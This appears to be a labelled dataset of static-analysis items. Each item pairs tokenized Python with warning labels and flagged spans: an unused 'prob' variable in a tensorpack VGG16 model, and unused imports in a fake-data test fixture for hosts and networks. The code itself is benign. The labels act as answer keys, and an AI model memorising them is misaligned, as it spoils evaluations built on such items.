"\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "mkdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "user", "\\u", "directory_", ",_", "user_", "._", "email_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "urllib2_", "._", "urlopen_", "(_", "target", "\\u", "url_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "no", " ", "notebook", " ", "found", ".", " ", "runn", "ing", " ", "a", " ", "new", " ", "one", " ", "in", " ", "a", " ", "subs", "hell", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "notebook_", "(_", "notebook", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "startin", "g_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "startin", "g_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "urllib2_", "._", "urlopen_", "(_", "target", "\\u", "url_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "target", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "startin", "g_", "-=_", "1_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ppwwyyxx/tensorpack/examples/load-vgg16.py
[ { "content": " def _get_cost(self, inputs, is_training):\n is_training = bool(is_training)\n keep_prob = tf.constant(0.5 if is_training else 1.0)\n\n image, label = inputs\n\n with argscope(Conv2D, kernel_shape=3):\n # 224\n l = Conv2D('conv1_1', image, 64)\n l = Conv2D('conv1_2', l, 64)\n l = MaxPooling('pool1', l, 2, stride=2, padding='VALID')\n # 112\n\n l = Conv2D('conv2_1', l, 128)\n l = Conv2D('conv2_2', l, 128)\n l = MaxPooling('pool2', l, 2, stride=2, padding='VALID')\n # 56\n\n l = Conv2D('conv3_1', l, 256)\n l = Conv2D('conv3_2', l, 256)\n l = Conv2D('conv3_3', l, 256)\n l = MaxPooling('pool3', l, 2, stride=2, padding='VALID')\n # 28\n\n l = Conv2D('conv4_1', l, 512)\n l = Conv2D('conv4_2', l, 512)\n l = Conv2D('conv4_3', l, 512)\n l = MaxPooling('pool4', l, 2, stride=2, padding='VALID')\n # 14\n\n l = Conv2D('conv5_1', l, 512)\n l = Conv2D('conv5_2', l, 512)\n l = Conv2D('conv5_3', l, 512)\n l = MaxPooling('pool5', l, 2, stride=2, padding='VALID')\n # 7\n\n l = FullyConnected('fc6', l, 4096)\n l = tf.nn.dropout(l, keep_prob)\n l = FullyConnected('fc7', l, 4096)\n l = tf.nn.dropout(l, keep_prob)\n logits = FullyConnected('fc8', l, out_dim=1000, nl=tf.identity)\n prob = tf.nn.softmax(logits, name='output')\n\n cost = tf.nn.sparse_softmax_cross_entropy_with_logits(logits, label)\n cost = tf.reduce_mean(cost, name='cost')\n return cost", "metadata": "root.Model._get_cost", "header": "['class', 'Model', '(', 'ModelDesc', ')', ':', '___EOS___']", "index": 33 } ]
[ { "span": "prob ", "start_line": 74, "start_column": 8, "end_line": 74, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Model_", "(_", "Model", "Desc_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "cost_", "(_", "self_", ",_", "inputs_", ",_", "is", "\\u", "training_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "training_", "=_", "bool_", "(_", "is", "\\u", "training_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keep", "\\u", "prob_", "=_", "tf_", "._", "constant_", "(_", "0.5_", "if_", "is", "\\u", "training_", "else_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image_", ",_", "label_", "=_", "inputs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "args", "cope", "_", "(_", "Conv", "2", "D_", ",_", "kernel", "\\u", "shape_", "=_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "224_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "1", "\\u", "1", "'_", ",_", "image_", ",_", "64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "1", "\\u", "2", "'_", ",_", "l_", ",_", "64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Max", "Pooling", "_", "(_", "'", "pool", "1", "'_", ",_", "l_", ",_", "2_", ",_", "stride_", "=_", "2_", ",_", "padding_", "=_", "'", "VALID", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "112_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv2", "\\u", "1", "'_", ",_", "l_", ",_", "128_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv2", "\\u", "2", "'_", ",_", "l_", ",_", "128_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Max", "Pooling", "_", "(_", "'", "pool", "2", "'_", ",_", "l_", ",_", "2_", ",_", "stride_", "=_", "2_", ",_", "padding_", "=_", "'", "VALID", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "56_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv3", "\\u", "1", "'_", ",_", "l_", ",_", "256_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv3", "\\u", "2", "'_", ",_", "l_", ",_", "256_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv3", "\\u", "3", "'_", ",_", "l_", ",_", "256_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Max", "Pooling", "_", "(_", "'", "pool", "3", "'_", ",_", "l_", ",_", "2_", ",_", "stride_", "=_", "2_", ",_", "padding_", "=_", "'", "VALID", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "28_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "4", "\\u", "1", "'_", ",_", "l_", ",_", "512_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "4", "\\u", "2", "'_", ",_", "l_", ",_", "512_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "4", "\\u", "3", "'_", ",_", "l_", ",_", "512_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Max", "Pooling", "_", "(_", "'", "pool", "4", "'_", ",_", "l_", ",_", "2_", ",_", "stride_", "=_", "2_", ",_", "padding_", "=_", "'", "VALID", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "14_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "5", "\\u", "1", "'_", ",_", "l_", ",_", "512_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "5", "\\u", "2", "'_", ",_", "l_", ",_", "512_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Conv", "2", "D_", "(_", "'", "conv", "5", "\\u", "3", "'_", ",_", "l_", ",_", "512_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Max", "Pooling", "_", "(_", "'", "pool", "5", "'_", ",_", "l_", ",_", "2_", ",_", "stride_", "=_", "2_", ",_", "padding_", "=_", "'", "VALID", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "7_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "l_", "=_", "Full", "y", "Connected_", "(_", "'", "fc", "6", "'_", ",_", "l_", ",_", "4096_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "tf_", "._", "nn_", "._", "dropout_", "(_", "l_", ",_", "keep", "\\u", "prob_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Full", "y", "Connected_", "(_", "'", "fc", "7", "'_", ",_", "l_", ",_", "4096_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "tf_", "._", "nn_", "._", "dropout_", "(_", "l_", ",_", "keep", "\\u", "prob_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logits_", "=_", "Full", "y", "Connected_", "(_", "'", "fc", "8", "'_", ",_", "l_", ",_", "out", "\\u", "dim_", "=_", "1000_", ",_", "nl_", "=_", "tf_", "._", "identity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "=_", "tf_", "._", "nn_", "._", "softmax_", "(_", "logits_", ",_", "name_", "=_", "'", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cost_", "=_", "tf_", "._", "nn_", "._", "spars", "e\\u", "soft", "max", "\\u", "cross", "\\u", "entr", "opy", "\\u", "with", "\\u", "logits_", "(_", "logits_", ",_", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cost_", "=_", "tf_", "._", "reduce", "\\u", "mean_", "(_", "cost_", ",_", "name_", "=_", "'", "cost", "'_",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nimport json\nimport hashlib\nfrom hashlib import sha1\nimport ipaddress\nimport pytest\nimport random\nimport socket\nimport struct\nimport time\n\n\n# Constants and stuff\nfake = faker.Factory.create()\n\n# Phony attributes to randomly generate for testing.\nATTRIBUTE_DATA = {\n 'lifecycle': ['monitored', 'ignored'],\n 'owner': ['jathan', 'gary', 'lisa', 'jimmy', 'bart', 'bob', 'alice'],\n 'metro': ['lax', 'iad', 'sjc', 'tyo'],\n 'foo': ['bar', 'baz', 'spam'],\n}\n\n# Used to store Attribute/value pairs\nAttribute = collections.namedtuple('Attribute', 'name value')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def rando():\n return random.choice((True, False))", "metadata": "root.rando", "header": "['module', '___EOS___']", "index": 32 }, { "content": "def generate_words(num_items=100, title=False, add_suffix=False):\n stuff = set()\n for _ in range(num_items + 1):\n things = (fake.word(), fake.first_name(), fake.last_name())\n suffix = str(random.randint(1, 32)) if add_suffix else ''\n word = random.choice(things) + suffix\n\n # Title it?\n if rando():\n word = word.title()\n\n # Reverse it?\n if rando():\n word = word[::-1] # Reverse it\n\n # Lower it?\n else:\n word = word.lower()\n\n # stuff.add(word)\n yield word", "metadata": "root.generate_words", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def generate_hostnames(num_items=100):\n \"\"\"\n Generate a random list of hostnames.\n\n :param num_items:\n Number of items to generate\n \"\"\"\n\n for i in range(1, num_items + 1):\n yield 'host%s' % i", "metadata": "root.generate_hostnames", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def generate_ipv4():\n \"\"\"Generate a random IPv4 address.\"\"\"\n return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))", "metadata": "root.generate_ipv4", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def generate_ipv4list(num_items=100, include_hosts=False):\n \"\"\"\n Generate a list of unique IPv4 addresses. This is a total hack.\n\n :param num_items:\n Number of items to generate\n\n :param include_hosts:\n Whether to include /32 addresses\n \"\"\"\n ipset = set()\n # Keep iterating and hack together cidr prefixes if we detect empty\n # trailing octects. This is so lame that we'll mostly just end up with a\n # bunch of /24 networks.\n while len(ipset) < num_items:\n ip = generate_ipv4()\n if ip.startswith('0'):\n continue\n\n if ip.endswith('.0.0.0'):\n prefix = '/8'\n elif ip.endswith('.0.0'):\n prefix = '/16'\n elif ip.endswith('.0'):\n prefix = '/24'\n elif include_hosts:\n prefix = '/32'\n else:\n continue\n\n ip += prefix\n ipset.add(ip)\n return sorted(ipset)", "metadata": "root.generate_ipv4list", "header": "['module', '___EOS___']", "index": 76 }, { "content": "def enumerate_attributes(resource_name, attributes=None):\n if attributes is None:\n attributes = ATTRIBUTE_DATA\n\n for name in attributes:\n yield {'name': name, 'resource_name': resource_name}", "metadata": "root.enumerate_attributes", "header": "['module', '___EOS___']", "index": 111 }, { "content": "def generate_attributes(attributes=None, as_dict=True):\n \"\"\"\n Randomly choose attributes and values for testing.\n\n :param attributes:\n Dictionary of attribute names and values\n\n :param as_dict:\n If set return a dict vs. list of Attribute objects\n \"\"\"\n if attributes is None:\n attributes = ATTRIBUTE_DATA\n attrs = []\n for attr_name, attr_values in attributes.iteritems():\n if random.choice((True, False)):\n attr_value = random.choice(attr_values)\n attrs.append(Attribute(attr_name, attr_value))\n if as_dict:\n attrs = dict(attrs)\n return attrs", "metadata": "root.generate_attributes", "header": "['module', '___EOS___']", "index": 119 }, { "content": "def generate_devices(num_items=100, with_attributes=True):\n \"\"\"\n Return a list of dicts for Device creation.\n\n :param num_items:\n Number of items to generate\n\n :param with_attributes:\n Whether to include Attributes\n \"\"\"\n hostnames = generate_hostnames(num_items)\n\n devices = []\n for hostname in hostnames:\n item = {'hostname': hostname}\n if with_attributes:\n attributes = generate_attributes()\n item['attributes'] = attributes\n\n yield item\n # devices.append(item)\n # return devices", "metadata": "root.generate_devices", "header": "['module', '___EOS___']", "index": 141 }, { "content": "def generate_networks(num_items=100, with_attributes=True, include_hosts=False):\n \"\"\"\n Return a list of dicts for Network creation.\n\n :param num_items:\n Number of items to generate\n\n :param with_attributes:\n Whether to include Attributes\n \"\"\"\n ipv4list = generate_ipv4list(num_items, include_hosts=include_hosts)\n\n networks = []\n for cidr in ipv4list:\n attributes = generate_attributes()\n item = {'cidr': cidr}\n if with_attributes:\n attributes = generate_attributes()\n item['attributes'] = attributes\n\n networks.append(item)\n return networks", "metadata": "root.generate_networks", "header": "['module', '___EOS___']", "index": 165 }, { "content": "def rando_set_action():\n return random.choice(['+', '-', ''])", "metadata": "root.rando_set_action", "header": "['module', '___EOS___']", "index": 189 }, { "content": "def rando_set_query():\n action = rando_set_action()\n return ' '.join(\n action + '%s=%s' % (k, v) for k,v in generate_attributes().iteritems()\n )", "metadata": "root.rando_set_query", "header": "['module', '___EOS___']", "index": 193 } ]
[ { "span": "import json", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 11 }, { "span": "import hashlib", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 14 }, { "span": "import ipaddress", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 16 }, { "span": "import pytest", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 13 }, { "span": "import time", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Make", " ", "dummy", " ", "data", " ", "and", " ", "fixture", "s", " ", "and", " ", "stu", "ff", " ", "to", " ", "use", " ", "in", " ", "bench", "marking", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "faker", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "hashlib_", "import_", "sha1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ipaddress_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pytest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Const", "ant", "s", " ", "and", " ", "stuff_", "\\u\\u\\uNL\\u\\u\\u_", "fake_", "=_", "faker", "_", "._", "Factory_", "._", "create_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pho", "ny", " ", "attribute", "s", " ", "to", " ", "random", "ly", " ", "generat", "e", " ", "for", " ", "testi", "ng", "._", "\\u\\u\\uNL\\u\\u\\u_", "ATTRIBUTE", "\\u", "DATA_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "lifecycle", "'_", ":_", "[_", "'", "monitored", "'_", ",_", "'", "ignore", "d", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "owner", "'_", ":_", "[_", "'", "ja", "than", "'_", ",_", "'", "gar", "y", "'_", ",_", "'", "lis", "a", "'_", ",_", "'", "jim", "my", "'_", ",_", "'", "bart", "'_", ",_", "'", "bob", "'_", ",_", "'", "alic", "e", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "metro", "'_", ":_", "[_", "'", "la", "x", "'_", ",_", "'", "iad", "'_", ",_", "'", "sj", "c", "'_", ",_", "'", "ty", "o", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "foo", "'_", ":_", "[_", "'", "bar", "'_", ",_", "'", "ba", "z", "'_", ",_", "'", "spam", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "ed", " ", "to", " ", "store", " ", "Attribute", "/", "value", " ", "pairs_", "\\u\\u\\uNL\\u\\u\\u_", "Attribute_", "=_", "collections_", "._", "namedtuple_", "(_", "'", "Attribute", "'_", ",_", "'", "name", " ", "value", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "rand", "o_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "random_", "._", "choice_", "(_", "(_", "True_", ",_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "words_", "(_", "num", "\\u", "items_", "=_", "100_", ",_", "title_", "=_", "False_", ",_", "add", "\\u", "suffix_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stuff_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u_", "in_", "range_", "(_", "num", "\\u", "items_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "things_", "=_", "(_", "fake_", "._", "word_", "(_", ")_", ",_", "fake_", "._", "first", "\\u", "name_", "(_", ")_", ",_", "fake_", "._", "last", "\\u", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "suffix_", "=_", "str_", "(_", "random_", "._", "randint_", "(_", "1_", ",_", "32_", ")_", ")_", "if_", "add", "\\u", "suffix_", "else_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "=_", "random_", "._", "choice_", "(_", "things_", ")_", "+_", "suffix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tit", "le", " ", "it", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "rand", "o_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "word_", "._", "title_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Revers", "e", " ", "it", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "rand", "o_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "word_", "[_", ":_", ":_", "-_", "1_", "]_", "#", " ", "Revers", "e", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lower", " ", "it", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "word_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stu", "ff", ".", "add", "(", "word", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "hostnames", "_", "(_", "num", "\\u", "items_", "=_", "100_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Generate", " ", "a", " ", "random", " ", "list", " ", "of", " ", "hostnames", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "num", "\\u", "items", ":", "\\", "10", ";", " ", " ", " ", " ", "Number", " ", "of", " ", "items", " ", "to", " ", "generat", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "1_", ",_", "num", "\\u", "items_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "'", "host", "%", "s", "'_", "%_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "ipv4_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Generate", " ", "a", " ", "random", " ", "IP", "v", "4", " ", "address", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "socket_", "._", "inet", "\\u", "nto", "a_", "(_", "struct_", "._", "pack_", "(_", "'>", "I", "'_", ",_", "random_", "._", "randint_", "(_", "1_", ",_", "0xffffffff_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "ipv", "4", "list_", "(_", "num", "\\u", "items_", "=_", "100_", ",_", "include", "\\u", "hosts_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Generate", " ", "a", " ", "list", " ", "of", " ", "unique", " ", "IP", "v", "4", " ", "addresse", "s", ".", " ", 